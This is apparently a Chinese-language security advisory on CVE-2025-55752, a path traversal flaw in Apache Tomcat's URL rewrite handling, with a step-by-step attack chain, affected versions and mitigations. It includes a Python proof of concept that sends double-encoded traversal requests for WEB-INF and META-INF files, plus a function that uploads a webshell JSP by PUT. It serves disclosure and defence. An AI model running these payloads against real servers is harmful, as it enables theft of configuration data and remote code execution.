IPBUF安全漏洞报告
English
CVE-2025-55752 CVSS 7.5 高危

CVE-2025-55752 Apache Tomcat相对路径遍历漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-55752
漏洞类型
路径遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Apache Tomcat

相关标签

路径遍历Apache TomcatCVE-2025-55752URL重写安全绕过远程代码执行回归漏洞Web容器

漏洞概述

CVE-2025-55752是Apache Tomcat中存在的一个相对路径遍历(Relative Path Traversal)安全漏洞。该漏洞源于修复bug 60013时引入的回归问题。在Apache Tomcat的URL重写功能中,重写后的URL在解码之前被规范化,这一处理顺序的差异为攻击者提供了绕过安全限制的机会。攻击者可以通过精心构造的请求URI,绕过对/WEB-INF/和/META-INF/等敏感目录的保护机制,从而实现未授权访问。如果服务器同时启用了PUT请求功能,攻击者甚至可以上传恶意文件,最终实现远程代码执行(RCE)。此漏洞影响范围广泛,涵盖了Apache Tomcat 8.5、9.x、10.1和11.0多个主要版本。由于PUT请求通常仅限于受信任用户,且需要与URL重写规则配合利用,漏洞的实际利用条件相对受限,但仍需引起高度重视。

技术细节

该漏洞的技术原理涉及Apache Tomcat的URL重写(Rewrite)功能和URL解码/规范化的处理顺序问题。当Tomcat处理请求时,URL重写规则会对请求URI进行修改,特别是将查询参数重写到URL路径中。然而,在修复bug 60013时引入的回归导致重写后的URL在解码操作之前就被规范化处理。攻击者可以利用URL编码技术(如使用%2e%2e%2f代表../)来构造恶意请求,在URL被解码和规范化之前绕过安全检查。具体来说,攻击者可以通过构造类似/..%252f..%252fWEB-INF/web.xml的请求,利用双重URL编码(%252f是%2f的编码)来绕过对/WEB-INF/的保护检测。一旦成功绕过安全约束,攻击者可以读取web.xml等敏感配置文件,或者在PUT请求启用的情况下上传恶意JSP文件并执行任意代码,实现完整的远程代码执行攻击链。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标服务器运行的是Apache Tomcat,并确认其版本在受影响范围内(8.5.6-8.5.100、9.0.0.M11-9.0.108、10.1.0-M1-10.1.44、11.0.0-M1-11.0.10)。同时确认URL重写模块(rewrite valve)已启用。
STEP 2
步骤2: 构造恶意请求
攻击者利用URL编码技术构造路径遍历payload。由于重写后的URL在解码前被规范化,攻击者使用双重URL编码(如%252f代表/)来绕过安全检查,构造类似/..%252f..%252fWEB-INF/的请求路径。
STEP 3
步骤3: 绕过安全约束
通过精心设计的编码请求,攻击者成功绕过Apache Tomcat对/WEB-INF/和/META-INF/等敏感目录的保护机制。这些目录通常包含应用程序配置和敏感信息。
STEP 4
步骤4: 敏感文件访问(可选)
如果攻击者仅需读取敏感信息,可直接访问web.xml等配置文件,获取应用程序的详细配置、数据库连接信息等敏感数据。
STEP 5
步骤5: 远程代码执行(条件利用)
如果服务器同时启用了PUT请求功能且允许通过重写规则操作URI,攻击者可以利用路径遍历上传恶意JSP文件到服务器。一旦恶意文件被成功上传并可访问,攻击者即可执行任意代码,实现完全的系统控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-55752 Apache Tomcat Path Traversal PoC # Target: Apache Tomcat with rewrite module enabled def test_path_traversal(target_url): """ Test for CVE-2025-55752: Path traversal via URL rewrite The vulnerability allows bypassing /WEB-INF/ and /META-INF/ protection """ # Target endpoint with vulnerable rewrite rule base_url = target_url.rstrip('/') # Payload: Double URL encoded path traversal # %252f = encoded /, %252e = encoded . # This bypasses the normalization before decode issue payloads = [ f"{base_url}/..%252f..%252fWEB-INF/web.xml", f"{base_url}/..%252f..%252fWEB-INF/classes/", f"{base_url}/..%252f..%252fMETA-INF/context.xml" ] for payload in payloads: try: response = requests.get(payload, timeout=10) print(f"[*] Testing: {payload}") print(f"[*] Status: {response.status_code}") # Check if sensitive file was exposed if response.status_code == 200: if 'web-app' in response.text or 'Context' in response.text: print("[!] VULNERABLE - Sensitive file exposed!") print(f"[*] Content length: {len(response.text)}") return True except requests.RequestException as e: print(f"[-] Error: {e}") return False def exploit_rce(target_url, webshell_content): """ If PUT is enabled, attempt to upload malicious file Requires: vulnerable rewrite + PUT method enabled """ # Path traversal to reach upload directory upload_path = f"{target_url}/..%252f..%252fupload/malicious.jsp" headers = { 'Content-Type': 'text/plain', 'Destination': 'malicious.jsp' } try: response = requests.put( upload_path, data=webshell_content, headers=headers, timeout=10 ) print(f"[*] PUT request status: {response.status_code}") return response.status_code in [200, 201, 204] except requests.RequestException as e: print(f"[-] PUT request failed: {e}") return False if __name__ == "__main__": target = input("Enter target URL (e.g., http://target:8080): ") test_path_traversal(target)

影响范围

Apache Tomcat 8.5.6 - 8.5.100
Apache Tomcat 9.0.0.M11 - 9.0.108
Apache Tomcat 10.1.0-M1 - 10.1.44
Apache Tomcat 11.0.0-M1 - 11.0.10

防御指南

临时缓解措施
如果暂时无法升级到修复版本,可采取以下缓解措施:1)禁用URL重写模块(rewrite valve)如果业务不需要;2)确保PUT请求功能处于关闭状态,除非绝对必要;3)配置严格的安全约束,限制对/WEB-INF/和/META-INF/目录的访问;4)使用Web应用防火墙(WAF)监控和阻止异常的路径遍历请求;5)实施最小权限原则,限制运行Tomcat进程的用户权限;6)定期审计访问日志,检测潜在的路径遍历攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表